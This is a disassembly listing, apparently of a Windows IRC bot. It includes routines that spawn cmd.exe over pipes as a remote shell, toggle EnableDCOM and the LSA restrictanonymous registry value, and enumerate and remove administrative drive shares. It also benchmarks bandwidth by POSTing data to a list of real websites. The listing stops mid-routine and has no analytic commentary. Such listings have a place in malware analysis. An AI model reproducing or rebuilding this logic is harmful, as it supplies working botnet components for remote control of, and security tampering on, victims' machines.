Attributes: bp-based frame sub_41A2D6 proc near ; CODE XREF: sub_401AA1+246Dp ; sub_41620D+99p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_41A092 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset aCmd_exe ; "cmd.exe" push esi call dword_4CE3C0 ; SearchPathA test eax, eax jz loc_41A3D0 lea eax, [ebp+var_1C] mov edi, dword_42810C push esi push eax lea eax, [ebp+var_C] xor ebx, ebx push eax lea eax, [ebp+var_10] inc ebx push eax mov [ebp+var_1C], 0Ch mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi ; CreatePipe test eax, eax jz loc_41A3D0 lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi ; CreatePipe test eax, eax jz loc_41A3D0 mov edi, dword_428108 push 3 push esi push esi push offset dword_4DE550 call edi ; GetCurrentProcess push eax push [ebp+var_8] call edi ; GetCurrentProcess push eax call dword_428104 ; DuplicateHandle test eax, eax jz short loc_41A3D0 push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41BC00 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41BC00 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset byte_4404C4 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call dword_428074 ; CreateProcessA test eax, eax jnz short loc_41A3D8 loc_41A3D0: ; CODE XREF: sub_41A2D6+2Fj ; sub_41A2D6+5Cj ... or eax, 0FFFFFFFFh jmp loc_41A486 ; --------------------------------------------------------------------------- loc_41A3D8: ; CODE XREF: sub_41A2D6+F8j push [ebp+var_4] mov edi, dword_428070 call edi ; CloseHandle mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DE54C, eax mov eax, [ebp+var_8] mov dword_4DE554, eax mov eax, [ebp+var_2C] mov dword_4DE548, eax call edi ; CloseHandle mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DE58C, eax jz short loc_41A412 push [ebp+arg_4] jmp short loc_41A413 ; --------------------------------------------------------------------------- loc_41A412: ; CODE XREF: sub_41A2D6+135j push ebx loc_41A413: ; CODE XREF: sub_41A2D6+13Aj push offset dword_4DE558 call sub_41BEF6 pop ecx pop ecx push esi push 0Ah push offset unk_43CA60 call sub_40B254 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_441250[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_41A181 push esi push esi call dword_428084 ; CreateThread cmp eax, esi mov dword_44125C[edi], eax jnz short loc_41A484 call dword_428094 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_378] push offset unk_43CA2C push eax call sub_41BEF6 lea eax, [ebp+var_378] push eax call sub_415F45 add esp, 10h loc_41A484: ; CODE XREF: sub_41A2D6+185j xor eax, eax loc_41A486: ; CODE XREF: sub_41A2D6+FDj pop edi pop esi pop ebx leave retn sub_41A2D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A48B proc near ; DATA XREF: sub_401AA1+2DBCo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_41A4D2 call sub_41A4EB jmp short loc_41A4D7 ; --------------------------------------------------------------------------- loc_41A4D2: ; CODE XREF: sub_41A48B+3Ej call sub_41A811 loc_41A4D7: ; CODE XREF: sub_41A48B+45j add esp, 10h push [ebp+var_14] call sub_40B56A pop ecx push 0 call dword_4280D4 ; ExitThread sub_41A48B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4EB proc near ; CODE XREF: sub_41A48B+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CE3D4, edi jnz loc_41A61D lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CE378 ; RegOpenKeyExA test eax, eax jnz short loc_41A576 mov ax, word_43B728 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CE32C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A55E push offset dword_43CE28 jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A55E: ; CODE XREF: sub_41A4EB+6Aj push offset dword_43CDF0 loc_41A563: ; CODE XREF: sub_41A4EB+71j push eax call sub_41BEF6 pop ecx pop ecx push [ebp+var_4] call dword_4CE2E4 ; RegCloseKey jmp short loc_41A589 ; --------------------------------------------------------------------------- loc_41A576: ; CODE XREF: sub_41A4EB+36j lea eax, [ebp+var_214] push offset dword_43CDA8 push eax call sub_41BEF6 pop ecx pop ecx loc_41A589: ; CODE XREF: sub_41A4EB+89j cmp [ebp+arg_C], edi jnz short loc_41A5A8 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A5A8: ; CODE XREF: sub_41A4EB+A1j lea eax, [ebp+var_214] push eax call sub_415F45 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CE378 ; RegOpenKeyExA test eax, eax jnz short loc_41A616 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CE32C ; RegSetValueExA test eax, eax lea eax, [ebp+var_214] jz short loc_41A5FE push offset dword_43CD40 jmp short loc_41A603 ; --------------------------------------------------------------------------- loc_41A5FE: ; CODE XREF: sub_41A4EB+10Aj push offset dword_43CCF0 loc_41A603: ; CODE XREF: sub_41A4EB+111j push eax call sub_41BEF6 pop ecx pop ecx push [ebp+var_4] call dword_4CE2E4 ; RegCloseKey jmp short loc_41A630 ; --------------------------------------------------------------------------- loc_41A616: ; CODE XREF: sub_41A4EB+E2j push offset dword_43CC98 jmp short loc_41A622 ; --------------------------------------------------------------------------- loc_41A61D: ; CODE XREF: sub_41A4EB+13j push offset dword_43CC50 loc_41A622: ; CODE XREF: sub_41A4EB+130j lea eax, [ebp+var_214] push eax call sub_41BEF6 pop ecx pop ecx loc_41A630: ; CODE XREF: sub_41A4EB+129j cmp [ebp+arg_C], edi jnz short loc_41A64F push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A64F: ; CODE XREF: sub_41A4EB+148j lea eax, [ebp+var_214] push eax call sub_415F45 cmp dword_4CE3FC, edi pop ecx jnz loc_41A7CC push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A672: ; CODE XREF: sub_41A4EB+2C5j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CE24C cmp eax, edi mov [ebp+var_10], eax jz short loc_41A711 cmp eax, 0EAh jz short loc_41A711 xor esi, esi loc_41A6A0: ; CODE XREF: sub_41A4EB+21Fj push off_43CA84[esi] push edi call sub_41930F pop ecx pop ecx push off_43CA84[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A6C5 push offset dword_43CC14 jmp short loc_41A6CA ; --------------------------------------------------------------------------- loc_41A6C5: ; CODE XREF: sub_41A4EB+1D1j push offset dword_43CBD0 loc_41A6CA: ; CODE XREF: sub_41A4EB+1D8j push 200h push eax call sub_41BFF0 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A6F7 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A6F7: ; CODE XREF: sub_41A4EB+1F0j lea eax, [ebp+var_214] push eax call sub_415F45 add esi, 8 pop ecx cmp esi, 20h jb short loc_41A6A0 jmp loc_41A7A9 ; --------------------------------------------------------------------------- loc_41A711: ; CODE XREF: sub_41A4EB+1AAj ; sub_41A4EB+1B1j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_41A7A0 loc_41A720: ; CODE XREF: sub_41A4EB+2B1j mov edi, [esi] push edi call sub_41DEB7 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A795 push edi call sub_4191FC push eax push 0 call sub_41930F add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_41A755 push offset dword_43CB94 jmp short loc_41A75A ; --------------------------------------------------------------------------- loc_41A755: ; CODE XREF: sub_41A4EB+261j push offset dword_43CB50 loc_41A75A: ; CODE XREF: sub_41A4EB+268j push 200h push eax call sub_41BFF0 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A788 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A788: ; CODE XREF: sub_41A4EB+281j lea eax, [ebp+var_214] push eax call sub_415F45 pop ecx loc_41A795: ; CODE XREF: sub_41A4EB+244j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A720 xor edi, edi loc_41A7A0: ; CODE XREF: sub_41A4EB+22Fj push [ebp+var_8] call dword_4CE398 loc_41A7A9: ; CODE XREF: sub_41A4EB+221j cmp [ebp+var_10], 0EAh jz loc_41A672 lea eax, [ebp+var_214] push offset dword_43CB10 push eax call sub_41BEF6 pop ecx pop ecx pop ebx jmp short loc_41A7DF ; --------------------------------------------------------------------------- loc_41A7CC: ; CODE XREF: sub_41A4EB+177j lea eax, [ebp+var_214] push offset dword_43CAC8 push eax call sub_41BEF6 pop ecx pop ecx loc_41A7DF: ; CODE XREF: sub_41A4EB+2DFj cmp [ebp+arg_C], edi jnz short loc_41A7FD push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A7FD: ; CODE XREF: sub_41A4EB+2F7j lea eax, [ebp+var_214] push eax call sub_415F45 pop ecx xor eax, eax pop edi inc eax pop esi leave retn sub_41A4EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A811 proc near ; CODE XREF: sub_41A48B:loc_41A4D2p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CE3D4, ebx push esi jnz loc_41A93F lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CE378 ; RegOpenKeyExA test eax, eax jnz short loc_41A89C mov ax, word_43B76C mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41B650 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CE32C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41A884 push offset dword_43D064 jmp short loc_41A889 ; --------------------------------------------------------------------------- loc_41A884: ; CODE XREF: sub_41A811+6Aj push offset dword_43D030 loc_41A889: ; CODE XREF: sub_41A811+71j push eax call sub_41BEF6 pop ecx pop ecx push [ebp+var_4] call dword_4CE2E4 ; RegCloseKey jmp short loc_41A8AF ; --------------------------------------------------------------------------- loc_41A89C: ; CODE XREF: sub_41A811+36j lea eax, [ebp+var_220] push offset dword_43CDA8 push eax call sub_41BEF6 pop ecx pop ecx loc_41A8AF: ; CODE XREF: sub_41A811+89j cmp [ebp+arg_C], ebx jnz short loc_41A8CE push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A8CE: ; CODE XREF: sub_41A811+A1j lea eax, [ebp+var_220] push eax call sub_415F45 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CE378 ; RegOpenKeyExA test eax, eax jnz short loc_41A938 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CE32C ; RegSetValueExA test eax, eax lea eax, [ebp+var_220] jz short loc_41A920 push offset dword_43CFD8 jmp short loc_41A925 ; --------------------------------------------------------------------------- loc_41A920: ; CODE XREF: sub_41A811+106j push offset dword_43CF88 loc_41A925: ; CODE XREF: sub_41A811+10Dj push eax call sub_41BEF6 pop ecx pop ecx push [ebp+var_4] call dword_4CE2E4 ; RegCloseKey jmp short loc_41A952 ; --------------------------------------------------------------------------- loc_41A938: ; CODE XREF: sub_41A811+E2j push offset dword_43CF30 jmp short loc_41A944 ; --------------------------------------------------------------------------- loc_41A93F: ; CODE XREF: sub_41A811+13j push offset dword_43CC50 loc_41A944: ; CODE XREF: sub_41A811+12Cj lea eax, [ebp+var_220] push eax call sub_41BEF6 pop ecx pop ecx loc_41A952: ; CODE XREF: sub_41A811+125j cmp [ebp+arg_C], ebx jnz short loc_41A971 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A971: ; CODE XREF: sub_41A811+144j lea eax, [ebp+var_220] push eax call sub_415F45 cmp dword_4CE3FC, ebx pop ecx jnz loc_41AAE8 push edi xor esi, esi mov edi, 200h loc_41A992: ; CODE XREF: sub_41A811+1EEj push dword_43CA88[esi] push off_43CA84[esi] push ebx call sub_419263 add esp, 0Ch push off_43CA84[esi] test eax, eax lea eax, [ebp+var_220] jnz short loc_41A9BE push offset dword_43CEF8 jmp short loc_41A9C3 ; --------------------------------------------------------------------------- loc_41A9BE: ; CODE XREF: sub_41A811+1A4j push offset dword_43CEB8 loc_41A9C3: ; CODE XREF: sub_41A811+1ABj push edi push eax call sub_41BFF0 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A9EC push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41A9EC: ; CODE XREF: sub_41A811+1BFj lea eax, [ebp+var_220] push eax call sub_415F45 add esi, 8 pop ecx cmp esi, 10h jb short loc_41A992 call dword_42819C ; GetLogicalDrives test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41AAD0 loc_41AA14: ; CODE XREF: sub_41A811+2B9j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41AAC5 cmp bl, 41h jz loc_41AAC5 movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41BFF0 push esi push offset aC_0 ; "%c:\\" lea eax, [ebp+var_20] push 0Ah push eax call sub_41BFF0 add esp, 20h lea eax, [ebp+var_20] push eax call dword_4CE368 ; GetDriveTypeA cmp eax, 3 jnz short loc_41AAC5 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_419263 add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_220] jnz short loc_41AA89 push offset dword_43CEF8 jmp short loc_41AA8E ; --------------------------------------------------------------------------- loc_41AA89: ; CODE XREF: sub_41A811+26Fj push offset dword_43CEB8 loc_41AA8E: ; CODE XREF: sub_41A811+276j push edi push eax call sub_41BFF0 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41AAB8 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41AAB8: ; CODE XREF: sub_41A811+28Bj lea eax, [ebp+var_220] push eax call sub_415F45 pop ecx loc_41AAC5: ; CODE XREF: sub_41A811+20Bj ; sub_41A811+214j ... inc bl shr [ebp+var_4], 1 jnz loc_41AA14 loc_41AAD0: ; CODE XREF: sub_41A811+1FDj lea eax, [ebp+var_220] push offset dword_43CE70 push eax call sub_41BEF6 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41AAFB ; --------------------------------------------------------------------------- loc_41AAE8: ; CODE XREF: sub_41A811+173j lea eax, [ebp+var_220] push offset dword_43CAC8 push eax call sub_41BEF6 pop ecx pop ecx loc_41AAFB: ; CODE XREF: sub_41A811+2D5j cmp [ebp+arg_C], ebx jnz short loc_41AB19 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 add esp, 14h loc_41AB19: ; CODE XREF: sub_41A811+2EDj lea eax, [ebp+var_220] push eax call sub_415F45 pop ecx xor eax, eax pop esi inc eax pop ebx leave retn sub_41A811 endp ; =============== S U B R O U T I N E ======================================= sub_41AB2D proc near ; CODE XREF: sub_41AD24+CBp ; sub_41AD24+DDp ... arg_0 = dword ptr 4 call dword_4280B0 ; GetTickCount push eax call sub_41BF48 pop ecx call sub_41BF52 cdq idiv [esp+arg_0] mov eax, edx retn sub_41AB2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB47 proc near ; CODE XREF: sub_41AD24+D4p ; sub_41AD24+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41B650 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41AD20 push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41BC00 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40A7C5 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41AD20 push 50h call dword_4CE308 ; ntohs push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CE388 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41AD20 lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jz loc_41AD20 push 32003h call sub_41D635 mov edi, dword_4280B0 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi ; GetTickCount push eax call sub_41BF48 call sub_41BF52 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41BC00 push 32000h push esi push ebx call sub_41BC00 push ebx call sub_41B650 push 323EAh mov ebx, eax call sub_41D635 push ebx mov esi, eax push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41BEF6 push [ebp+var_8] push esi call sub_41C530 push offset asc_436F68 ; "\r\n" push esi call sub_41C530 add esp, 40h push esi call sub_41B650 mov ebx, eax pop ecx mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41AC9E mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41AC6E ; --------------------------------------------------------------------------- loc_41AC6B: ; CODE XREF: sub_41AB47+155j mov eax, [ebp+arg_0] loc_41AC6E: ; CODE XREF: sub_41AB47+122j mov ecx, [ebp+var_10] push 0 sub ecx, eax add eax, esi cmp ecx, ebx jnb short loc_41AC80 push [ebp+var_C] jmp short loc_41AC81 ; --------------------------------------------------------------------------- loc_41AC80: ; CODE XREF: sub_41AB47+132j push ebx loc_41AC81: ; CODE XREF: sub_41AB47+137j push eax push [ebp+var_4] call dword_4CE358 ; send cmp eax, 0FFFFFFFFh jz short loc_41AD07 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41AC6B loc_41AC9E: ; CODE XREF: sub_41AB47+118j call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_4286FC fst [ebp+arg_0] fcomp flt_4286F8 fnstsw ax test ah, 44h jp short loc_41ACC8 fld1 fstp [ebp+arg_0] loc_41ACC8: ; CODE XREF: sub_41AB47+17Aj push [ebp+var_4] call dword_4CE3A0 ; closesocket push [ebp+var_8] call sub_41B721 push esi call sub_41B721 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_4286F4 fmul flt_4286F0 call sub_41CE04 loc_41AD02: ; CODE XREF: sub_41AB47+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41AD07: ; CODE XREF: sub_41AB47+147j push [ebp+var_4] call dword_4CE3A0 ; closesocket push [ebp+var_8] call sub_41B721 push esi call sub_41B721 pop ecx pop ecx loc_41AD20: ; CODE XREF: sub_41AB47+19j ; sub_41AB47+42j ... xor eax, eax jmp short loc_41AD02 sub_41AB47 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD24 proc near ; CODE XREF: sub_401AA1+2E11p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41AB2D push [ebp+eax*4+var_3C] call sub_41AB47 push 8 mov esi, eax call sub_41AB2D push [ebp+eax*4+var_3C] call sub_41AB47 add esp, 10h test esi, esi jz short loc_41AE25 test eax, eax jz short loc_41AE21 lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41AE27 ; --------------------------------------------------------------------------- loc_41AE21: ; CODE XREF: sub_41AD24+F4j mov ebx, esi jmp short loc_41AE27 ; --------------------------------------------------------------------------- loc_41AE25: ; CODE XREF: sub_41AD24+F0j mov ebx, eax loc_41AE27: ; CODE XREF: sub_41AD24+FBj ; sub_41AD24+FFj push 0Ch call sub_41AB2D push [ebp+eax*4+var_6C] call sub_41AB47 push 0Ch mov edi, eax call sub_41AB2D push [ebp+eax*4+var_6C] call sub_41AB47 add esp, 10h test edi, edi jz short loc_41AE5F test eax, eax jz short loc_41AE5B lea esi, [eax+edi] shr esi, 1 jmp short loc_41AE61 ; --------------------------------------------------------------------------- loc_41AE5B: ; CODE XREF: sub_41AD24+12Ej mov esi, edi jmp short loc_41AE61 ; --------------------------------------------------------------------------- loc_41AE5F: ; CODE XREF: sub_41AD24+12Aj mov esi, eax loc_41AE61: ; CODE XREF: sub_41AD24+135j ; sub_41AD24+139j push 6 call sub_41AB2D push [ebp+eax*4+var_1C] call sub_41AB47 push 6 mov edi, eax call sub_41AB2D push [ebp+eax*4+var_1C] call sub_41AB47 add esp, 10h test edi, edi jz short loc_41AE99 test eax, eax jz short loc_41AE95 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41AE9B ; --------------------------------------------------------------------------- loc_41AE95: ; CODE XREF: sub_41AD24+168j mov ecx, edi jmp short loc_41AE9B ; --------------------------------------------------------------------------- loc_41AE99: ; CODE XREF: sub_41AD24+164j mov ecx, eax loc_41AE9B: ; CODE XREF: sub_41AD24+16Fj ; sub_41AD24+173j xor eax, eax test ebx, ebx jz short loc_41AEA8 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AEA8: ; CODE XREF: sub_41AD24+17Bj push 2 pop edi loc_41AEAB: ; CODE XREF: sub_41AD24+182j test esi, esi jz short loc_41AEB3 add eax, esi jmp short loc_41AEB4 ; --------------------------------------------------------------------------- loc_41AEB3: ; CODE XREF: sub_41AD24+189j dec edi loc_41AEB4: ; CODE XREF: sub_41AD24+18Dj test ecx, ecx jz short loc_41AEBC add eax, ecx jmp short loc_41AEBD ; --------------------------------------------------------------------------- loc_41AEBC: ; CODE XREF: sub_41AD24+192j dec edi loc_41AEBD: ; CODE XREF: sub_41AD24+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_43D0D8 push eax call sub_41BEF6 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409743 lea eax, [ebp+var_26C] push eax call sub_415F45 add esp, 30h pop edi pop esi pop ebx leave retn sub_41AD24 endp ; =============== S U B R O U T I N E ======================================= sub_41AF01 proc near ; CODE XREF: sub_401AA1+253Ep ; sub_401AA1+2998p ... arg_0 = dword ptr 4 push esi push edi call dword_4280B0 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx xor edx, edx mov ecx, 15180h mov esi, 0E10h push 3Ch pop edi sub eax, [esp+8+arg_0] div ecx mov ecx, eax mov eax, edx xor edx, edx div esi mov esi, eax mov eax, edx xor edx, edx div edi push eax push esi push ecx push offset aDdDhDm ; "%dd %dh %dm" mov esi, offset dword_4DE590 push 32h push esi call sub_41BFF0 add esp, 18h mov eax, esi pop edi pop esi retn sub_41AF01 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AF54 proc near ; CODE XREF: sub_4174AA+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call dword_4280D0 ; GetVersionExA test eax, 